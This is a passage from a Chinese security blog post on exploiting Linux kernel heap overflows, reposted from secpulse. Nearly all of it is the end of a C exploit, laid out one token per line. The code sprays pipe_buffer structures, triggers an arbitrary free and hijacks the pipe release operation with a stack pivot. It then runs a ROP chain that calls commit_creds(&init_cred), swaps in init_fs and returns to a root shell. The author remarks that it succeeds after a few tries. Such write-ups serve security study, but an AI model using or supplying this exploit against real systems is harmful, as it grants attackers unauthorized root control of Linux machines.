                  ++
                
                ) {
              
              

              
                        
                
                  close
                
                (
                
                  tty_fd
                
                [
                
                  i
                
                ]);
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  sleep
                
                (
                
                  1
                
                ); 
                
                  // GC TTYs
                
              
              

              
                    
                
                  int
                
                
                  pipe_fd
                
                [
                
                  PIPE_NUM
                
                ][
                
                  2
                
                ];
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] Spraying pipe_bufer structures..."
                
                );
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  PIPE_NUM
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  pipe
                
                (
                
                  pipe_fd
                
                [
                
                  i
                
                ]);
              
              

              
                        
                
                  write
                
                (
                
                  pipe_fd
                
                [
                
                  i
                
                ][
                
                  1
                
                ], 
                
                  "aaaaaa"
                
                , 
                
                  6
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] Triggering arbitrary free..."
                
                );
              
              

              
                    
                
                  join_poll_threads
                
                (
                
                  NULL
                
                , 
                
                  NULL
                
                );
              
              

              
                
                
              
              

              
                
                
              
              

              
                    ((
                
                  struct
                
                
                  pipe_bufer
                
                
                  *
                
                ) 
                
                  buf
                
                )
                
                  ->
                
                
                  ops
                
                
                  =
                
                 (
                
                  void
                
                
                  *
                
                ) (
                
                  target_object
                
                
                  +
                
                
                  0x300
                
                );
              
              

              
                    ((
                
                  struct
                
                
                  pipe_buf_operations
                
                
                  *
                
                ) 
                
                  &
                
                
                  buf
                
                [
                
                  0x300
                
                ])
                
                  ->
                
                
                  release
                
                
                  =
                
                 (
                
                  void
                
                
                  *
                
                ) 
                
                  push_rsi_pop_rsp_ret
                
                ;
              
              

              
                
                
              
              

              
                
                
              
              

              
                    
                
                  size_t
                
                
                  *
                
                
                  rop
                
                
                  =
                
                 (
                
                  size_t
                
                
                  *
                
                ) 
                
                  buf
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  pop_r14_pop_r15_ret
                
                ;
              
              

              
                    
                
                  rop
                
                
                  ++
                
                ;
              
              

              
                    
                
                  rop
                
                
                  ++
                
                ; 
                
                  // ops
                
              
              

              
                
                
              
              

              
                    
                
                  // commit_creds(&init_creds)
                
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  pop_rdi_ret
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  init_cred
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  commit_creds
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  // current = find_task_by_vpid(getpid())
                
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  pop_rdi_ret
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  getpid
                
                ();
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  find_task_by_vpid
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  // current->fs = &init_fs
                
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  pop_rcx_ret
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  0x6e0
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  add_rax_rcx_ret
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  pop_rbx_ret
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  init_fs
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  mov_mmrax_rbx_pop_rbx_ret
                
                ;
              
              

              
                    
                
                  rop
                
                
                  ++
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  // back to user
                
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  swapgs_ret
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  iretq
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                 (
                
                  uint64_t
                
                ) 
                
                  get_shell
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  user_cs
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  user_rflags
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  user_sp
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  user_ss
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] Spraying ROP chain..."
                
                );
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  31
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  key_alloc
                
                (
                
                  i
                
                , 
                
                  buf
                
                , 
                
                  1024
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] Hijacking control flow..."
                
                );
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  PIPE_NUM
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  close
                
                (
                
                  pipe_fd
                
                [
                
                  i
                
                ][
                
                  0
                
                ]);
              
              

              
                        
                
                  close
                
                (
                
                  pipe_fd
                
                [
                
                  i
                
                ][
                
                  1
                
                ]);
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  sleep
                
                (
                
                  5
                
                );
              
              

              
                
                
              
              

              
                    
                
                  return
                
                
                  0
                
                ;
              
              

              
                }
              
            

多试几次还是可以成功的。

本文作者: dingjiacan@antvsion.com

本文为安全脉搏专栏作者发布,转载请注明: https://www.secpulse.com/archives/205619.html

赞(0)
未经允许不得转载:工具盒子 » Linux kernel 堆溢出利用方法(二)